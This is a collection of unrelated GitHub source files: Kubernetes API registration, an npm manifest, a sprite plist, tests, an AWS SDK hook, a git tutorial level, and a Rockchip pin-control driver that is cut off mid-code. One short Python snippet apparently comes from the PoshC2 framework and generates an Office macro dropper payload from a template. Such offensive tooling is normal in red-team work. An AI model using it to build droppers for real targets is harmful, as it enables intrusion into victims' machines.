/* Copyright 2015 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package policy import ( "k8s.io/apimachinery/pkg/runtime" "k8s.io/apimachinery/pkg/runtime/schema" "k8s.io/kubernetes/pkg/apis/extensions" ) // GroupName is the group name use in this package const GroupName = "policy" // SchemeGroupVersion is group version used to register these objects var SchemeGroupVersion = schema.GroupVersion{Group: GroupName, Version: runtime.APIVersionInternal} // Kind takes an unqualified kind and returns a Group qualified GroupKind func Kind(kind string) schema.GroupKind { return SchemeGroupVersion.WithKind(kind).GroupKind() } // Resource takes an unqualified resource and returns a Group qualified GroupResource func Resource(resource string) schema.GroupResource { return SchemeGroupVersion.WithResource(resource).GroupResource() } var ( SchemeBuilder = runtime.NewSchemeBuilder(addKnownTypes) AddToScheme = SchemeBuilder.AddToScheme ) // Adds the list of known types to the given scheme. func addKnownTypes(scheme *runtime.Scheme) error { // TODO this gets cleaned up when the types are fixed scheme.AddKnownTypes(SchemeGroupVersion, &PodDisruptionBudget{}, &PodDisruptionBudgetList{}, &extensions.PodSecurityPolicy{}, &extensions.PodSecurityPolicyList{}, &Eviction{}, ) return nil }
{ "pile_set_name": "Github" }
This module's documentation can be found at https://developers.google.com/web/tools/workbox/modules/workbox-sw
{ "pile_set_name": "Github" }
SamplerIcon PartialSISOSampler PartialSISOHold PartialClockedSISO PartialClockedMIMO PartialClockedSO PartialNoise
{ "pile_set_name": "Github" }
from poshc2.server.Config import PayloadTemplatesDirectory from poshc2.Colours import Colours from poshc2.Utils import formStrMacro def create_payloads(payloads, name): payloads.QuickstartLog(Colours.END) payloads.QuickstartLog(f"Macro Payload written to: {payloads.BaseDirectory}{name}_macro.txt") strmacro = formStrMacro("str", str(payloads.CreateRawBase())) with open(f"{PayloadTemplatesDirectory}dropper.macro", 'r') as f: content = f.read() content = str(content).replace("#REPLACEME#", strmacro) with open(f"{payloads.BaseDirectory}macro.txt", 'w') as f: f.write(content)
{ "pile_set_name": "Github" }
{ "_from": "retry@~0.10.1", "_id": "[email protected]", "_integrity": "sha1-52OI0heZLCUnUCQdPTlW/tmNj/Q=", "_location": "/retry", "_phantomChildren": {}, "_requested": { "type": "range", "registry": true, "raw": "retry@~0.10.1", "name": "retry", "escapedName": "retry", "rawSpec": "~0.10.1", "saveSpec": null, "fetchSpec": "~0.10.1" }, "_requiredBy": [ "/", "/npm-registry-client", "/pacote/promise-retry" ], "_resolved": "https://registry.npmjs.org/retry/-/retry-0.10.1.tgz", "_shasum": "e76388d217992c252750241d3d3956fed98d8ff4", "_shrinkwrap": null, "_spec": "retry@~0.10.1", "_where": "/Users/zkat/Documents/code/npm", "author": { "name": "Tim Koschützki", "email": "[email protected]", "url": "http://debuggable.com/" }, "bin": null, "bugs": { "url": "https://github.com/tim-kos/node-retry/issues" }, "bundleDependencies": false, "dependencies": {}, "deprecated": false, "description": "Abstraction for exponential and custom retry strategies for failed operations.", "devDependencies": { "fake": "0.2.0", "far": "0.0.1" }, "directories": { "lib": "./lib" }, "engines": { "node": "*" }, "homepage": "https://github.com/tim-kos/node-retry", "license": "MIT", "main": "index", "name": "retry", "optionalDependencies": {}, "peerDependencies": {}, "repository": { "type": "git", "url": "git://github.com/tim-kos/node-retry.git" }, "version": "0.10.1" }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>frames</key> <dict> <key>common/j/jineng_001.png</key> <dict> <key>frame</key> <string>{{1,1},{88,88}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <false /> <key>sourceSize</key> <string>{88,88}</string> </dict> <key>common/j/jineng_002.png</key> <dict> <key>frame</key> <string>{{1,91},{88,88}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <false /> <key>sourceSize</key> <string>{88,88}</string> </dict> <key>common/j/jineng_003.png</key> <dict> <key>frame</key> <string>{{1,181},{88,88}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <false /> <key>sourceSize</key> <string>{88,88}</string> </dict> <key>common/j/jineng_004.png</key> <dict> <key>frame</key> <string>{{1,271},{88,88}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <false /> <key>sourceSize</key> <string>{88,88}</string> </dict> <key>common/j/jineng_005.png</key> <dict> <key>frame</key> <string>{{1,361},{88,88}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <false /> <key>sourceSize</key> <string>{88,88}</string> </dict> <key>common/j/bullet.png</key> <dict> <key>frame</key> <string>{{1,991},{14,5}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <true /> <key>sourceSize</key> <string>{14,5}</string> </dict> <key>common/j/jineng_006.png</key> <dict> <key>frame</key> <string>{{1,451},{88,88}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <false /> <key>sourceSize</key> <string>{88,88}</string> </dict> <key>common/j/jineng_007.png</key> <dict> <key>frame</key> <string>{{1,541},{88,88}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <false /> <key>sourceSize</key> <string>{88,88}</string> </dict> <key>common/j/jineng_008.png</key> <dict> <key>frame</key> <string>{{1,631},{88,88}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <false /> <key>sourceSize</key> <string>{88,88}</string> </dict> <key>common/j/jineng_009.png</key> <dict> <key>frame</key> <string>{{1,721},{88,88}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <false /> <key>sourceSize</key> <string>{88,88}</string> </dict> <key>common/j/jineng_010.png</key> <dict> <key>frame</key> <string>{{1,811},{88,88}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <false /> <key>sourceSize</key> <string>{88,88}</string> </dict> <key>common/j/jineng_011.png</key> <dict> <key>frame</key> <string>{{1,901},{88,88}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <false /> <key>sourceSize</key> <string>{88,88}</string> </dict> <key>common/j/jineng_012.png</key> <dict> <key>frame</key> <string>{{91,1},{88,88}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <false /> <key>sourceSize</key> <string>{88,88}</string> </dict> <key>common/j/jineng_013.png</key> <dict> <key>frame</key> <string>{{181,1},{88,88}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <false /> <key>sourceSize</key> <string>{88,88}</string> </dict> </dict> <key>metadata</key> <dict> <key>format</key> <integer>2</integer> <key>textureFileName</key> <string>skill.png</string> <key>realTextureFileName</key> <string>skill.png</string> <key>size</key> <string>{270,1006}</string> </dict> <key>texture</key> <dict> <key>width</key> <integer>270</integer> <key>height</key> <integer>1006</integer> </dict> </dict> </plist>
{ "pile_set_name": "Github" }
require 'spec_helper' describe OrderAsk do subject { create(:order_ask) } its(:compute_locked) { should == subject.volume } context "compute locked for market order" do let(:price_levels) do [ ['202'.to_d, '10.0'.to_d], ['201'.to_d, '10.0'.to_d], ['200'.to_d, '10.0'.to_d], ['100'.to_d, '10.0'.to_d] ] end before do global = Global.new('btccny') global.stubs(:asks).returns(price_levels) Global.stubs(:[]).returns(global) end it "should require a little" do OrderBid.new(volume: '5'.to_d, ord_type: 'market').compute_locked.should == '1010'.to_d * OrderBid::LOCKING_BUFFER_FACTOR end it "should raise error if volume is too large" do expect { OrderBid.new(volume: '30'.to_d, ord_type: 'market').compute_locked }.not_to raise_error expect { OrderBid.new(volume: '31'.to_d, ord_type: 'market').compute_locked }.to raise_error end end end
{ "pile_set_name": "Github" }
package sts import "github.com/aws/aws-sdk-go/aws/request" func init() { initRequest = func(r *request.Request) { switch r.Operation.Name { case opAssumeRoleWithSAML, opAssumeRoleWithWebIdentity: r.Handlers.Sign.Clear() // these operations are unsigned } } }
{ "pile_set_name": "Github" }
difficulty 2 description "The text editor 'vim' creates files ending in `.swp` (swap files) for all files that are currently open. We don't want them creeping into the repository. Make this repository ignore those swap files which are ending in `.swp`." setup do repo.init FileUtils.touch("README.swp") file = File.open(".git/config", "w") do |file| file.puts "[core]\nexcludesfile=" end end solution do valid = false File.open(".gitignore", "r") do |file| while line = file.gets if line.chomp == "*.swp" valid = true end end end valid end hint do puts "You may have noticed there is a file named `.gitignore` in the repository." end
{ "pile_set_name": "Github" }
/* * Pinctrl driver for Rockchip SoCs * * Copyright (c) 2013 MundoReader S.L. * Author: Heiko Stuebner <[email protected]> * * With some ideas taken from pinctrl-samsung: * Copyright (c) 2012 Samsung Electronics Co., Ltd. * http://www.samsung.com * Copyright (c) 2012 Linaro Ltd * http://www.linaro.org * * and pinctrl-at91: * Copyright (C) 2011-2012 Jean-Christophe PLAGNIOL-VILLARD <[email protected]> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as published * by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. */ #include <linux/init.h> #include <linux/platform_device.h> #include <linux/io.h> #include <linux/bitops.h> #include <linux/gpio.h> #include <linux/of_address.h> #include <linux/of_irq.h> #include <linux/pinctrl/machine.h> #include <linux/pinctrl/pinconf.h> #include <linux/pinctrl/pinctrl.h> #include <linux/pinctrl/pinmux.h> #include <linux/pinctrl/pinconf-generic.h> #include <linux/irqchip/chained_irq.h> #include <linux/clk.h> #include <linux/regmap.h> #include <linux/mfd/syscon.h> #include <dt-bindings/pinctrl/rockchip.h> #include "core.h" #include "pinconf.h" /* GPIO control registers */ #define GPIO_SWPORT_DR 0x00 #define GPIO_SWPORT_DDR 0x04 #define GPIO_INTEN 0x30 #define GPIO_INTMASK 0x34 #define GPIO_INTTYPE_LEVEL 0x38 #define GPIO_INT_POLARITY 0x3c #define GPIO_INT_STATUS 0x40 #define GPIO_INT_RAWSTATUS 0x44 #define GPIO_DEBOUNCE 0x48 #define GPIO_PORTS_EOI 0x4c #define GPIO_EXT_PORT 0x50 #define GPIO_LS_SYNC 0x60 enum rockchip_pinctrl_type { RV1108, RK2928, RK3066B, RK3128, RK3188, RK3288, RK3368, RK3399, }; /** * Encode variants of iomux registers into a type variable */ #define IOMUX_GPIO_ONLY BIT(0) #define IOMUX_WIDTH_4BIT BIT(1) #define IOMUX_SOURCE_PMU BIT(2) #define IOMUX_UNROUTED BIT(3) #define IOMUX_WIDTH_3BIT BIT(4) /** * @type: iomux variant using IOMUX_* constants * @offset: if initialized to -1 it will be autocalculated, by specifying * an initial offset value the relevant source offset can be reset * to a new value for autocalculating the following iomux registers. */ struct rockchip_iomux { int type; int offset; }; /** * enum type index corresponding to rockchip_perpin_drv_list arrays index. */ enum rockchip_pin_drv_type { DRV_TYPE_IO_DEFAULT = 0, DRV_TYPE_IO_1V8_OR_3V0, DRV_TYPE_IO_1V8_ONLY, DRV_TYPE_IO_1V8_3V0_AUTO, DRV_TYPE_IO_3V3_ONLY, DRV_TYPE_MAX }; /** * enum type index corresponding to rockchip_pull_list arrays index. */ enum rockchip_pin_pull_type { PULL_TYPE_IO_DEFAULT = 0, PULL_TYPE_IO_1V8_ONLY, PULL_TYPE_MAX }; /** * @drv_type: drive strength variant using rockchip_perpin_drv_type * @offset: if initialized to -1 it will be autocalculated, by specifying * an initial offset value the relevant source offset can be reset * to a new value for autocalculating the following drive strength * registers. if used chips own cal_drv func instead to calculate * registers offset, the variant could be ignored. */ struct rockchip_drv { enum rockchip_pin_drv_type drv_type; int offset; }; /** * @reg_base: register base of the gpio bank * @reg_pull: optional separate register for additional pull settings * @clk: clock of the gpio bank * @irq: interrupt of the gpio bank * @saved_masks: Saved content of GPIO_INTEN at suspend time. * @pin_base: first pin number * @nr_pins: number of pins in this bank * @name: name of the bank * @bank_num: number of the bank, to account for holes * @iomux: array describing the 4 iomux sources of the bank * @drv: array describing the 4 drive strength sources of the bank * @pull_type: array describing the 4 pull type sources of the bank * @valid: are all necessary informations present * @of_node: dt node of this bank * @drvdata: common pinctrl basedata * @domain: irqdomain of the gpio bank * @gpio_chip: gpiolib chip * @grange: gpio range * @slock: spinlock for the gpio bank * @route_mask: bits describing the routing pins of per bank */ struct rockchip_pin_bank { void __iomem *reg_base; struct regmap *regmap_pull; struct clk *clk; int irq; u32 saved_masks; u32 pin_base; u8 nr_pins; char *name; u8 bank_num; struct rockchip_iomux iomux[4]; struct rockchip_drv drv[4]; enum rockchip_pin_pull_type pull_type[4]; bool valid; struct device_node *of_node; struct rockchip_pinctrl *drvdata; struct irq_domain *domain; struct gpio_chip gpio_chip; struct pinctrl_gpio_range grange; raw_spinlock_t slock; u32 toggle_edge_mode; u32 recalced_mask; u32 route_mask; }; #define PIN_BANK(id, pins, label) \ { \ .bank_num = id, \ .nr_pins = pins, \ .name = label, \ .iomux = { \ { .offset = -1 }, \ { .offset = -1 }, \ { .offset = -1 }, \ { .offset = -1 }, \ }, \ } #define PIN_BANK_IOMUX_FLAGS(id, pins, label, iom0, iom1, iom2, iom3) \ { \ .bank_num = id, \ .nr_pins = pins, \ .name = label, \ .iomux = { \ { .type = iom0, .offset = -1 }, \ { .type = iom1, .offset = -1 }, \ { .type = iom2, .offset = -1 }, \ { .type = iom3, .offset = -1 }, \ }, \ } #define PIN_BANK_DRV_FLAGS(id, pins, label, type0, type1, type2, type3) \ { \ .bank_num = id, \ .nr_pins = pins, \ .name = label, \ .iomux = { \ { .offset = -1 }, \ { .offset = -1 }, \ { .offset = -1 }, \ { .offset = -1 }, \ }, \ .drv = { \ { .drv_type = type0, .offset = -1 }, \ { .drv_type = type1, .offset = -1 }, \ { .drv_type = type2, .offset = -1 }, \ { .drv_type = type3, .offset = -1 }, \ }, \ } #define PIN_BANK_DRV_FLAGS_PULL_FLAGS(id, pins, label, drv0, drv1, \ drv2, drv3, pull0, pull1, \ pull2, pull3) \ { \ .bank_num = id, \ .nr_pins = pins, \ .name = label, \ .iomux = { \ { .offset = -1 }, \ { .offset = -1 }, \ { .offset = -1 }, \ { .offset = -1 }, \ }, \ .drv = { \ { .drv_type = drv0, .offset = -1 }, \ { .drv_type = drv1, .offset = -1 }, \ { .drv_type = drv2, .offset = -1 }, \ { .drv_type = drv3, .offset = -1 }, \ }, \ .pull_type[0] = pull0, \ .pull_type[1] = pull1, \ .pull_type[2] = pull2, \ .pull_type[3] = pull3, \ } #define PIN_BANK_IOMUX_DRV_FLAGS_OFFSET(id, pins, label, iom0, iom1, \ iom2, iom3, drv0, drv1, drv2, \ drv3, offset0, offset1, \ offset2, offset3) \ { \ .bank_num = id, \ .nr_pins = pins, \ .name = label, \ .iomux = { \ { .type = iom0, .offset = -1 }, \ { .type = iom1, .offset = -1 }, \ { .type = iom2, .offset = -1 }, \ { .type = iom3, .offset = -1 }, \ }, \ .drv = { \ { .drv_type = drv0, .offset = offset0 }, \ { .drv_type = drv1, .offset = offset1 }, \ { .drv_type = drv2, .offset = offset2 }, \ { .drv_type = drv3, .offset = offset3 }, \ }, \ } #define PIN_BANK_IOMUX_FLAGS_DRV_FLAGS_OFFSET_PULL_FLAGS(id, pins, \ label, iom0, iom1, iom2, \ iom3, drv0, drv1, drv2, \ drv3, offset0, offset1, \ offset2, offset3, pull0, \ pull1, pull2, pull3) \ { \ .bank_num = id, \ .nr_pins = pins, \ .name = label, \ .iomux = { \ { .type = iom0, .offset = -1 }, \ { .type = iom1, .offset = -1 }, \ { .type = iom2, .offset = -1 }, \ { .type = iom3, .offset = -1 }, \ }, \ .drv = { \ { .drv_type = drv0, .offset = offset0 }, \ { .drv_type = drv1, .offset = offset1 }, \ { .drv_type = drv2, .offset = offset2 }, \ { .drv_type = drv3, .offset = offset3 }, \ }, \ .pull_type[0] = pull0, \ .pull_type[1] = pull1, \ .pull_type[2] = pull2, \ .pull_type[3] = pull3, \ } /** * struct rockchip_mux_recalced_data: represent a pin iomux data. * @num: bank number. * @pin: pin number. * @bit: index at register. * @reg: register offset. * @mask: mask bit */ struct rockchip_mux_recalced_data { u8 num; u8 pin; u32 reg; u8 bit; u8 mask; }; /** * struct rockchip_mux_recalced_data: represent a pin iomux data. * @bank_num: bank number. * @pin: index at register or used to calc index. * @func: the min pin. * @route_offset: the max pin. * @route_val: the register offset. */ struct rockchip_mux_route_data { u8 bank_num; u8 pin; u8 func; u32 route_offset; u32 route_val; }; /** */ struct rockchip_pin_ctrl { struct rockchip_pin_bank *pin_banks; u32 nr_banks; u32 nr_pins; char *label; enum rockchip_pinctrl_type type; int grf_mux_offset; int pmu_mux_offset; int grf_drv_offset; int pmu_drv_offset; struct rockchip_mux_recalced_data *iomux_recalced; u32 niomux_recalced; struct rockchip_mux_route_data *iomux_routes; u32 niomux_routes; void (*pull_calc_reg)(struct rockchip_pin_bank *bank, int pin_num, struct regmap **regmap, int *reg, u8 *bit); void (*drv_calc_reg)(struct rockchip_pin_bank *bank, int pin_num, struct regmap **regmap, int *reg, u8 *bit); int (*schmitt_calc_reg)(struct rockchip_pin_bank *bank, int pin_num, struct regmap **regmap, int *reg, u8 *bit); }; struct rockchip_pin_config { unsigned int func; unsigned long *configs; unsigned int nconfigs; }; /** * struct rockchip_pin_group: represent group of pins of a pinmux function. * @name: name of the pin group, used to lookup the group. * @pins: the pins included in this group. * @npins: number of pins included in this group. * @func: the mux function number to be programmed when selected. * @configs: the config values to be set for each pin * @nconfigs: number of configs for each pin */ struct rockchip_pin_group { const char *name; unsigned int npins; unsigned int *pins; struct rockchip_pin_config *data; }; /** * struct rockchip_pmx_func: represent a pin function. * @name: name of the pin function, used to lookup the function. * @groups: one or more names of pin groups that provide this function. * @num_groups: number of groups included in @groups. */ struct rockchip_pmx_func { const char *name; const char **groups; u8 ngroups; }; struct rockchip_pinctrl { struct regmap *regmap_base; int reg_size; struct regmap *regmap_pull; struct regmap *regmap_pmu; struct device *dev; struct rockchip_pin_ctrl *ctrl; struct pinctrl_desc pctl; struct pinctrl_dev *pctl_dev; struct rockchip_pin_group *groups; unsigned int ngroups; struct rockchip_pmx_func *functions; unsigned int nfunctions; }; static struct regmap_config rockchip_regmap_config = { .reg_bits = 32, .val_bits = 32, .reg_stride = 4, }; static inline const struct rockchip_pin_group *pinctrl_name_to_group( const struct rockchip_pinctrl *info, const char *name) { int i; for (i = 0; i < info->ngroups; i++) { if (!strcmp(info->groups[i].name, name)) return &info->groups[i]; } return NULL; } /* * given a pin number that is local to a pin controller, find out the pin bank * and the register base of the pin bank. */ static struct rockchip_pin_bank *pin_to_bank(struct rockchip_pinctrl *info, unsigned pin) { struct rockchip_pin_bank *b = info->ctrl->pin_banks; while (pin >= (b->pin_base + b->nr_pins)) b++; return b; } static struct rockchip_pin_bank *bank_num_to_bank( struct rockchip_pinctrl *info, unsigned num) { struct rockchip_pin_bank *b = info->ctrl->pin_banks; int i; for (i = 0; i < info->ctrl->nr_banks; i++, b++) { if (b->bank_num == num) return b; } return ERR_PTR(-EINVAL); } /* * Pinctrl_ops handling */ static int rockchip_get_groups_count(struct pinctrl_dev *pctldev) { struct rockchip_pinctrl *info = pinctrl_dev_get_drvdata(pctldev); return info->ngroups; } static const char *rockchip_get_group_name(struct pinctrl_dev *pctldev, unsigned selector) { struct rockchip_pinctrl *info = pinctrl_dev_get_drvdata(pctldev); return info->groups[selector].name; } static int rockchip_get_group_pins(struct pinctrl_dev *pctldev, unsigned selector, const unsigned **pins, unsigned *npins) { struct rockchip_pinctrl *info = pinctrl_dev_get_drvdata(pctldev); if (selector >= info->ngroups) return -EINVAL; *pins = info->groups[selector].pins; *npins = info->groups[selector].npins; return 0; } static int rockchip_dt_node_to_map(struct pinctrl_dev *pctldev, struct device_node *np, struct pinctrl_map **map, unsigned *num_maps) { struct rockchip_pinctrl *info = pinctrl_dev_get_drvdata(pctldev); const struct rockchip_pin_group *grp; struct pinctrl_map *new_map; struct device_node *parent; int map_num = 1; int i; /* * first find the group of this node and check if we need to create * config maps for pins */ grp = pinctrl_name_to_group(info, np->name); if (!grp) { dev_err(info->dev, "unable to find group for node %s\n", np->name); return -EINVAL; } map_num += grp->npins; new_map = devm_kzalloc(pctldev->dev, sizeof(*new_map) * map_num, GFP_KERNEL); if (!new_map) return -ENOMEM; *map = new_map; *num_maps = map_num; /* create mux map */ parent = of_get_parent(np); if (!parent) { devm_kfree(pctldev->dev, new_map); return -EINVAL; } new_map[0].type = PIN_MAP_TYPE_MUX_GROUP; new_map[0].data.mux.function = parent->name; new_map[0].data.mux.group = np->name; of_node_put(parent); /* create config map */ new_map++; for (i = 0; i < grp->npins; i++) { new_map[i].type = PIN_MAP_TYPE_CONFIGS_PIN; new_map[i].data.configs.group_or_pin = pin_get_name(pctldev, grp->pins[i]); new_map[i].data.configs.configs = grp->data[i].configs; new_map[i].data.configs.num_configs = grp->data[i].nconfigs; } dev_dbg(pctldev->dev, "maps: function %s group %s num %d\n", (*map)->data.mux.function, (*map)->data.mux.group, map_num); return 0; } static void rockchip_dt_free_map(struct pinctrl_dev *pctldev, struct pinctrl_map *map, unsigned num_maps) { } static const struct pinctrl_ops rockchip_pctrl_ops = { .get_groups_count = rockchip_get_groups_count, .get_group_name = rockchip_get_group_name, .get_group_pins = rockchip_get_group_pins, .dt_node_to_map = rockchip_dt_node_to_map, .dt_free_map = rockchip_dt_free_map, }; /* * Hardware access */ static struct rockchip_mux_recalced_data rv1108_mux_recalced_data[] = { { .num = 1, .pin = 0, .reg = 0x418, .bit = 0, .mask = 0x3 }, { .num = 1, .pin = 1, .reg = 0x418, .bit = 2, .mask = 0x3 }, { .num = 1, .pin = 2, .reg = 0x418, .bit = 4, .mask = 0x3 }, { .num = 1, .pin = 3, .reg = 0x418, .bit = 6, .mask = 0x3 }, { .num = 1, .pin = 4, .reg = 0x418, .bit = 8, .mask = 0x3 }, { .num = 1, .pin = 5, .reg = 0x418, .bit = 10, .mask = 0x3 }, { .num = 1, .pin = 6, .reg = 0x418, .bit = 12, .mask = 0x3 }, { .num = 1, .pin = 7, .reg = 0x418, .bit = 14, .mask = 0x3 }, { .num = 1, .pin = 8, .reg = 0x41c, .bit = 0, .mask = 0x3 }, { .num = 1, .pin = 9, .reg = 0x41c, .bit = 2, .mask = 0x3 }, }; static struct rockchip_mux_recalced_data rk3128_mux_recalced_data[] = { { .num = 2, .pin = 20, .reg = 0xe8, .bit = 0, .mask = 0x7 }, { .num = 2, .pin = 21, .reg = 0xe8, .bit = 4, .mask = 0x7 }, { .num = 2, .pin = 22, .reg = 0xe8, .bit = 8, .mask = 0x7 }, { .num = 2, .pin = 23, .reg = 0xe8, .bit = 12, .mask = 0x7 }, { .num = 2, .pin = 24, .reg = 0xd4, .bit = 12, .mask = 0x7 }, }; static struct rockchip_mux_recalced_data rk3328_mux_recalced_data[] = { { .num = 2, .pin = 12, .reg = 0x24, .bit = 8, .mask = 0x3 }, { .num = 2, .pin = 15, .reg = 0x28, .bit = 0, .mask = 0x7 }, { .num = 2, .pin = 23, .reg = 0x30, .bit = 14, .mask = 0x3 }, }; static void rockchip_get_recalced_mux(struct rockchip_pin_bank *bank, int pin, int *reg, u8 *bit, int *mask) { struct rockchip_pinctrl *info = bank->drvdata; struct rockchip_pin_ctrl *ctrl = info->ctrl; struct rockchip_mux_recalced_data *data; int i; for (i = 0; i < ctrl->niomux_recalced; i++) { data = &ctrl->iomux_recalced[i]; if (data->num == bank->bank_num && data->pin == pin) break; } if (i >= ctrl->niomux_recalced) return; *reg = data->reg; *mask = data->mask; *bit = data->bit; } static struct rockchip_mux_route_data rk3128_mux_route_data[] = { { /* spi-0 */ .bank_num = 1, .pin = 10, .func = 1, .route_offset = 0x144, .route_val = BIT(16 + 3) | BIT(16 + 4), }, { /* spi-1 */ .bank_num = 1, .pin = 27, .func = 3, .route_offset = 0x144, .route_val = BIT(16 + 3) | BIT(16 + 4) | BIT(3), }, { /* spi-2 */ .bank_num = 0, .pin = 13, .func = 2, .route_offset = 0x144, .route_val = BIT(16 + 3) | BIT(16 + 4) | BIT(4), }, { /* i2s-0 */ .bank_num = 1, .pin = 5, .func = 1, .route_offset = 0x144, .route_val = BIT(16 + 5), }, { /* i2s-1 */ .bank_num = 0, .pin = 14, .func = 1, .route_offset = 0x144, .route_val = BIT(16 + 5) | BIT(5), }, { /* emmc-0 */ .bank_num = 1, .pin = 22, .func = 2, .route_offset = 0x144, .route_val = BIT(16 + 6), }, { /* emmc-1 */ .bank_num = 2, .pin = 4, .func = 2, .route_offset = 0x144, .route_val = BIT(16 + 6) | BIT(6), }, }; static struct rockchip_mux_route_data rk3228_mux_route_data[] = { { /* pwm0-0 */ .bank_num = 0, .pin = 26, .func = 1, .route_offset = 0x50, .route_val = BIT(16), }, { /* pwm0-1 */ .bank_num = 3, .pin = 21, .func = 1, .route_offset = 0x50, .route_val = BIT(16) | BIT(0), }, { /* pwm1-0 */ .bank_num = 0, .pin = 27, .func = 1, .route_offset = 0x50, .route_val = BIT(16 + 1), }, { /* pwm1-1 */ .bank_num = 0, .pin = 30, .func = 2, .route_offset = 0x50, .route_val = BIT(16 + 1) | BIT(1), }, { /* pwm2-0 */ .bank_num = 0, .pin = 28, .func = 1, .route_offset = 0x50, .route_val = BIT(16 + 2), }, { /* pwm2-1 */ .bank_num = 1, .pin = 12, .func = 2, .route_offset = 0x50, .route_val = BIT(16 + 2) | BIT(2), }, { /* pwm3-0 */ .bank_num = 3, .pin = 26, .func = 1, .route_offset = 0x50, .route_val = BIT(16 + 3), }, { /* pwm3-1 */ .bank_num = 1, .pin = 11, .func = 2, .route_offset = 0x50, .route_val = BIT(16 + 3) | BIT(3), }, { /* sdio-0_d0 */ .bank_num = 1, .pin = 1, .func = 1, .route_offset = 0x50, .route_val = BIT(16 + 4), }, { /* sdio-1_d0 */ .bank_num = 3, .pin = 2, .func = 1, .route_offset = 0x50, .route_val = BIT(16 + 4) | BIT(4), }, { /* spi-0_rx */ .bank_num = 0, .pin = 13, .func = 2, .route_offset = 0x50, .route_val = BIT(16 + 5), }, { /* spi-1_rx */ .bank_num = 2, .pin = 0, .func = 2, .route_offset = 0x50, .route_val = BIT(16 + 5) | BIT(5), }, { /* emmc-0_cmd */ .bank_num = 1, .pin = 22, .func = 2, .route_offset = 0x50, .route_val = BIT(16 + 7), }, { /* emmc-1_cmd */ .bank_num = 2, .pin = 4, .func = 2, .route_offset = 0x50, .route_val = BIT(16 + 7) | BIT(7), }, { /* uart2-0_rx */ .bank_num = 1, .pin = 19, .func = 2, .route_offset = 0x50, .route_val = BIT(16 + 8), }, { /* uart2-1_rx */ .bank_num = 1, .pin = 10, .func = 2, .route_offset = 0x50, .route_val = BIT(16 + 8) | BIT(8), }, { /* uart1-0_rx */ .bank_num = 1, .pin = 10, .func = 1, .route_offset = 0x50, .route_val = BIT(16 + 11), }, { /* uart1-1_rx */ .bank_num = 3, .pin = 13, .func = 1, .route_offset = 0x50, .route_val = BIT(16 + 11) | BIT(11), }, }; static struct rockchip_mux_route_data rk3328_mux_route_data[] = { { /* uart2dbg_rxm0 */ .bank_num = 1, .pin = 1, .func = 2, .route_offset = 0x50, .route_val = BIT(16) | BIT(16 + 1), }, { /* uart2dbg_rxm1 */ .bank_num = 2, .pin = 1, .func = 1, .route_offset = 0x50, .route_val = BIT(16) | BIT(16 + 1) | BIT(0), }, { /* gmac-m1-optimized_rxd0 */ .bank_num = 1, .pin = 11, .func = 2, .route_offset = 0x50, .route_val = BIT(16 + 2) | BIT(16 + 10) | BIT(2) | BIT(10), }, { /* pdm_sdi0m0 */ .bank_num = 2, .pin = 19, .func = 2, .route_offset = 0x50, .route_val = BIT(16 + 3), }, { /* pdm_sdi0m1 */ .bank_num = 1, .pin = 23, .func = 3, .route_offset = 0x50, .route_val = BIT(16 + 3) | BIT(3), }, { /* spi_rxdm2 */ .bank_num = 3, .pin = 2, .func = 4, .route_offset = 0x50, .route_val = BIT(16 + 4) | BIT(16 + 5) | BIT(5), }, { /* i2s2_sdim0 */ .bank_num = 1, .pin = 24, .func = 1, .route_offset = 0x50, .route_val = BIT(16 + 6), }, { /* i2s2_sdim1 */ .bank_num = 3, .pin = 2, .func = 6, .route_offset = 0x50, .route_val = BIT(16 + 6) | BIT(6), }, { /* card_iom1 */ .bank_num = 2, .pin = 22, .func = 3, .route_offset = 0x50, .route_val = BIT(16 + 7) | BIT(7), }, { /* tsp_d5m1 */ .bank_num = 2, .pin = 16, .func = 3, .route_offset = 0x50, .route_val = BIT(16 + 8) | BIT(8), }, { /* cif_data5m1 */ .bank_num = 2, .pin = 16, .func = 4, .route_offset = 0x50, .route_val = BIT(16 + 9) | BIT(9), }, }; static struct rockchip_mux_route_data rk3399_mux_route_data[] = { { /* uart2dbga_rx */ .bank_num = 4, .pin = 8, .func = 2, .route_offset = 0xe21c, .route_val = BIT(16 + 10) | BIT(16 + 11), }, { /* uart2dbgb_rx */ .bank_num = 4, .pin = 16, .func = 2, .route_offset = 0xe21c, .route_val = BIT(16 + 10) | BIT(16 + 11) | BIT(10), }, { /* uart2dbgc_rx */ .bank_num = 4, .pin = 19, .func = 1, .route_offset = 0xe21c, .route_val = BIT(16 + 10) | BIT(16 + 11) | BIT(11), }, { /* pcie_clkreqn */ .bank_num = 2, .pin = 26, .func = 2, .route_offset = 0xe21c, .route_val = BIT(16 + 14), }, { /* pcie_clkreqnb */ .bank_num = 4, .pin = 24, .func = 1, .route_offset = 0xe21c, .route_val = BIT(16 + 14) | BIT(14), }, }; static bool rockchip_get_mux_route(struct 